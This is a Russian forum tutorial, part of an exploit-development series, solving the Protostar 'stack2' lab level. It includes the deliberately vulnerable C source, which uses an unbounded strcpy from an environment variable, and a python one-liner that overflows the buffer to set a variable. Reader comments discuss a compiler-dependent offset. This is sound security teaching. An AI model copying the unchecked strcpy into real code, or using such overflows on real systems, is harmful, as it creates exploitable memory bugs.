Статья Использование среды переменных окружения для переполнения буфера - Изучение методов эксплуатации на примерах, часть 3

Все части переполнение буфера
Предыдущая часть Переполнение буфера и перезапись переменных к конкретному значению - разработка эксплойтов, часть 2
Следующая часть Переполнение буфера и перезапись указателя на функцию - разработка эксплойтов, часть 4

Привет Codeby =) В предыдущей статье мы научились перезаписывать значение переменной к конкретному значению используя уязвимость переполнения буфера. Не будем останавливаться на достигнутом, двигаемся дальше...

Описание ExploitMe
Stack2 смотрит на переменные окружения, и как они могут быть использованы.

Этот уровень находится в / opt / protostar / bin / stack2

, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Решение
Здесь у нас всё тоже самое, единственное, что здесь новое эта функция getenv(). Посмотрим описание функции.

Функция getenv() возвращает указатель на информацию об окружении, ассоциированную со строкой name в таблице информации окружения.

Окружение программы может включать такие вещи, как имена путей и устройств. Точное содержание этих данных определяется операционной системой.

Если функция вызвана с аргументом, который не соответствует никаким переменным окружения, то возвращается нулевой указатель.

И так нам нужно перезаписать значение переменной modified со значением «0x0d0a0d0a». Чтобы это сделать нам надо опять переполнить буфер, но на этот раз переполнение буфера будет происходить через переменную окружения GREENIE. Кстати говоря, если заглянуть в « » , то мы не найдем там «0x0d0a0d0a», значения этих байтов, если погуглить можно понять из значения "0x0d0a0d0a", что 0x0d — это '\r' символ возврата каретки, а 0x0a — символ новой строки '\n'. И все таки эти байты, что-то да значат, как оказалось это спец.символы. Посмотреть их все, можно тут в . Это наиболее полная таблица.

И так установим переменную окружения GREENIE поэтому воспользуемся командой export .

export GREENIE=test

Проверяем

env

27242


Как видно из списка переменных окружения, переменная GREENIE появилась в списке со значение "test". Отлично теперь можно переходить к формированию наших "вредоносных" данных.

Для этого будем использовать всё так же питон. Как я говорил выше, переполнение будет происходить, через переменную окружения, поэтому нам нужно установить GREENIE c нужным нам значением, а именно, нам надо так же 64 байта для заполнения буфера, а следующие байты будут перезаписывать значение переменной. Чтобы это сделать воспользуемся апострофами и заключим между ними наше выражение на питоне.

GREENIE=`python -c "print 'a' *64 + '\x0d\x0a\x0d\x0a'[::-1]"`

Проверим нашу "боевую" нагрузку

env

И посмотрим

27243


Все готово. Как нам видно из среды переменных окружения, байты под буфер и те байты возврата каретки и перехода на новую строку успешно добавлены. Теперь можно запустить саму программу, чтобы запустить процесс эксплуатации уязвимости. Так, как при запуске программы, она воспользуется переменной окружения GREENIE и съест нашу ядовитую строку.

./stack2

Отлично на экране мы видим текст «you have correctly modified the variable», цель достигнута. В этом упражнение мы узнали, что для эксплуатации уязвимости может быть задействована среда переменных окружения, переходим на следующий уровень — . Дальше будет еще веселее!!!
 

dm2301

One Level
27.02.2019
2
1
BIT
0
Помогите, пожалуйста, разобраться в проблеме: делаю вроде как по методичке, присваивание переменной GREENIE аналогичное, но загвоздка в последующем сообщении "bad variable name" и плохом результате
29120
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Помогите, пожалуйста, разобраться в проблеме: делаю вроде как по методичке, присваивание переменной GREENIE аналогичное, но загвоздка в последующем сообщении "bad variable name" и плохом результате Посмотреть вложение 29120
Я только что проверил. Все работает.

29122
 

Yakamara

One Level
11.06.2018
4
2
BIT
6
Mне почему-то во всех примерах надо добавлать пару букв чтобы получить искомий результат. Не могу понять почему.
Например:
GREENIE=`python -c "print 'a' * 64 + '\x0d\x0a\x0d\x0a'[::-1]"`
Try again, you got 0x00000000
а вот если написать 68, то:
GREENIE=`python -c "print 'a' * 68 + '\x0d\x0a\x0d\x0a'[::-1]"`
you have correctly modified the variable

Сам код:
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
        volatile int modified;
        char buffer[64];
        char *variable;

        variable = getenv("GREENIE");

        if(variable == NULL) {
                errx(1, "please set the GREENIE environment variable\n");
        }

        modified = 0;
        strcpy(buffer, variable);
        if(modified == 0x0d0a0d0a) {
                printf("you have correctly modified the variable\n");
        } else {
                printf("Try again, you got 0x%08x\n", modified);
        }
}
 
  • Нравится
Реакции: fuzzz

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Mне почему-то во всех примерах надо добавлать пару букв чтобы получить искомий результат. Не могу понять почему.
Например:
GREENIE=`python -c "print 'a' * 64 + '\x0d\x0a\x0d\x0a'[::-1]"`
Try again, you got 0x00000000
а вот если написать 68, то:
GREENIE=`python -c "print 'a' * 68 + '\x0d\x0a\x0d\x0a'[::-1]"`
you have correctly modified the variable

Сам код:
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
        volatile int modified;
        char buffer[64];
        char *variable;

        variable = getenv("GREENIE");

        if(variable == NULL) {
                errx(1, "please set the GREENIE environment variable\n");
        }

        modified = 0;
        strcpy(buffer, variable);
        if(modified == 0x0d0a0d0a) {
                printf("you have correctly modified the variable\n");
        } else {
                printf("Try again, you got 0x%08x\n", modified);
        }
}
Очень странно... Скорее всего смещение какое-то на 4 байта. Аномальное. Но главное тут это, что у тебя получается!!! И ты понимаешь как это сделать - алгоритм и порядок действий.
 
  • Нравится
Реакции: Yakamara

Yakamara

One Level
11.06.2018
4
2
BIT
6
Очень странно... Скорее всего смещение какое-то на 4 байта. Аномальное. Но главное тут это, что у тебя получается!!! И ты понимаешь как это сделать - алгоритм и порядок действий.
Я переписывал код вручную и компилировал обычным gcc source -o bin. GCC version 9.2.1. Похоже что смещение происходит из-за компилятора, но не могу найти этому подтверждение.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Я переписывал код вручную и компилировал обычным gcc source -o bin. GCC version 9.2.1. Похоже что смещение происходит из-за компилятора, но не могу найти этому подтверждение.
А вон оно в чем дело. Ну тогда точно компилятор добавил 4 байта. Просто как бы примеры эти лучше же конечно на ВМ решать. Там все собрано и откомпилировано. Может быть попробовать указать тебе какие нибудь ключи чтобы он так не делал. И еще на всякий указать что-то вроде -std=c99
 

B13

Заблокирован
01.01.2020
412
55
BIT
134
Mне почему-то во всех примерах надо добавлать пару букв чтобы получить искомий результат. Не могу понять почему.
Например:
GREENIE=`python -c "print 'a' * 64 + '\x0d\x0a\x0d\x0a'[::-1]"`
Try again, you got 0x00000000
а вот если написать 68, то:
GREENIE=`python -c "print 'a' * 68 + '\x0d\x0a\x0d\x0a'[::-1]"`
you have correctly modified the variable

Сам код:
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
        volatile int modified;
        char buffer[64];
        char *variable;

        variable = getenv("GREENIE");

        if(variable == NULL) {
                errx(1, "please set the GREENIE environment variable\n");
        }

        modified = 0;
        strcpy(buffer, variable);
        if(modified == 0x0d0a0d0a) {
                printf("you have correctly modified the variable\n");
        } else {
                printf("Try again, you got 0x%08x\n", modified);
        }
}
если я понимаю правильно, то еще может звисить от самой ОС, где компилировали файл (x86_32 или x86_64).
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!